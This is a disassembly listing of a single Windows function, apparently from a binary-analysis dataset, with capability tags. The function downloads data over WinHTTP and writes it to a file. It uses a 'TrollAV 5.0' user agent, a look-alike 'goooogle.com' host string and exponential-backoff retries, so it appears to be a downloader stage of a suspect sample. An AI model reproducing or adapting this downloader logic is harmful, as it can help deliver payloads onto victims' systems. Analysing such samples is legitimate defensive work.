Function at 0x40194f
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov eax, 0
mov dword [rbp - 0x3c], eax
mov eax, 0
mov dword [rbp - 0x40], eax
mov eax, 0
mov dword [rbp - 0x44], eax
movabs rax, 0
mov qword [rbp - 8], rax
movabs rax, 0
mov qword [rbp - 0x10], rax
movabs rax, 0
mov qword [rbp - 0x18], rax
movabs rax, 0
mov qword [rbp - 0x20], rax
movabs rax, 0
mov qword [rbp - 0x28], rax
movabs rax, 0
mov qword [rbp - 0x30], rax
mov eax, 1
mov dword [rbp - 0x34], eax
mov eax, 0
mov dword [rbp - 0x38], eax
lea rax, [rbp - 0x44]
mov r8, rax
lea rax, [rbp - 0x40]
mov r11, rax
lea rax, [rbp - 0x3c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.ntdll.dll_RtlGetNtVersionNumbers
mov eax, dword [rbp - 0x38]
cmp eax, 0
je 0x401a13
jmp 0x40236e
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 0x100
mov qword [rsp + 0x28], rax
mov eax, 2
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0x40000000
mov r11, rax
mov rax, qword [rbp + 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateFileW
mov qword [rbp - 0x50], rax
movabs rax, 0xffffffffffffffff
mov rcx, qword [rbp - 0x50]
cmp rax, rcx
jne 0x401aaf
call sub.kernel32.dll_GetLastError
mov ecx, 0x1e9
mov r8, rcx
mov r11, rax
lea rax, [0x00404108]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
jmp 0x402371
call sub.kernel32.dll_GetProcessHeap
movabs rcx, 0x200
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapAlloc
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x401aee
jmp 0x401b37
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x1ee
mov r8, rcx
mov r11, rax
lea rax, [0x0040411b]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40224e
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 8]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapSize
lea rcx, str.http:__goooogle.com_
mov r9, rcx
lea rcx, [0x0040412e]
mov r8, rcx
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040136c
call sub.kernel32.dll_GetProcessHeap
movabs rcx, 0x200
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapAlloc
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
cmp rax, 0
je 0x401bc1
jmp 0x401c0a
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x1f3
mov r8, rcx
mov r11, rax
lea rax, [0x0040414b]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40224e
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 0x10]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapSize
mov ecx, dword [rbp - 0x44]
and ecx, 0xffff
mov qword [rsp + 0x30], rcx
mov ecx, dword [rbp - 0x40]
mov qword [rsp + 0x28], rcx
mov ecx, dword [rbp - 0x3c]
mov qword [rsp + 0x20], rcx
lea rcx, str.TrollAV_5.0
mov r9, rcx
lea rcx, str._hs_WindowsNT_i._i._i_
mov r8, rcx
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040136c
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
movabs rax, 0
mov r8, rax
mov eax, 4
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpOpen
movsxd rax, eax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x401ccb
jmp 0x401d14
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x204
mov r8, rcx
mov r11, rax
lea rax, [0x0040419e]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40224e
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov rax, qword [rbp + 0x10]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpConnect
movsxd rax, eax
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
cmp rax, 0
je 0x401d57
jmp 0x401da0
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x207
mov r8, rcx
mov r11, rax
lea rax, [0x004041b0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40224e
lea rax, [0x004041c2]
mov qword [rbp - 0x60], rax
movabs rax, 0
mov qword [rbp - 0x58], rax
mov eax, 0
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov rax, qword [rbp + 0x18]
mov r8, rax
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpOpenRequest
movsxd rax, eax
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x401e22
jmp 0x401e6b
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x20c
mov r8, rcx
mov r11, rax
lea rax, [0x004041ca]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40224e
mov eax, 0
mov qword [rsp + 0x30], rax
mov eax, 0
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov eax, 0
mov r8, rax
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpSendRequest
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x401ed1
jmp 0x401f1a
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x218
mov r8, rcx
mov r11, rax
lea rax, [0x004041dc]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40224e
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpReceiveResponse
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x401f4d
jmp 0x401f96
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x21b
mov r8, rcx
mov r11, rax
lea rax, [0x004041ee]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40224e
lea rax, [rbp - 0x68]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpQueryDataAvailable
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x401fc3
jmp 0x40200c
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x21f
mov r8, rcx
mov r11, rax
lea rax, [0x00404200]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40224e
mov eax, dword [rbp - 0x68]
cmp eax, 0
je 0x402248
call sub.kernel32.dll_GetProcessHeap
mov ecx, dword [rbp - 0x68]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapAlloc
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
cmp rax, 0
je 0x402050
jmp 0x402099
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x224
mov r8, rcx
mov r11, rax
lea rax, [0x00404212]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40224e
lea rax, [rbp - 0x6c]
mov r9, rax
mov eax, dword [rbp - 0x68]
mov r8, rax
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpReadData
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x4020d3
jmp 0x40211c
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x228
mov r8, rcx
mov r11, rax
lea rax, [0x00404224]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40224e
movabs rax, 0
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x70]
mov r9, rax
mov eax, dword [rbp - 0x6c]
mov r8, rax
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x50]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_WriteFile
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x402165
jmp 0x40218f
call sub.kernel32.dll_GetLastError
mov ecx, 0x230
mov r8, rcx
mov r11, rax
lea rax, str.Error__lu_in__i_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402248
mov rax, qword [rbp - 0x30]
cmp rax, 0
je 0x4021cd
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 0x30]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapFree
movabs rax, 0
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x68]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpQueryDataAvailable
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x4021fa
jmp 0x402243
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x23a
mov r8, rcx
mov r11, rax
lea rax, str.ERROR__i_in__i_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40224e
jmp 0x40200c
mov eax, dword [rbp - 0x64]
mov dword [rbp - 0x38], eax
movabs rax, 0xffffffffffffffff
mov rcx, qword [rbp - 0x50]
cmp rax, rcx
je 0x402274
mov rax, qword [rbp - 0x50]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
mov rax, qword [rbp - 0x30]
cmp rax, 0
je 0x4022b2
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 0x30]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapFree
movabs rax, 0
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4022cf
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
call sub.winhttp.dll_WinHttpCloseHandle
mov rax, qword [rbp - 0x20]
cmp rax, 0
je 0x4022ec
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.winhttp.dll_WinHttpCloseHandle
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x402309
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
call sub.winhttp.dll_WinHttpCloseHandle
mov rax, qword [rbp - 0x10]
cmp rax, 0
je 0x402339
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 0x10]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapFree
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x402369
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 8]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapFree
jmp 0x401a02
mov eax, dword [rbp - 0x38]
leave
ret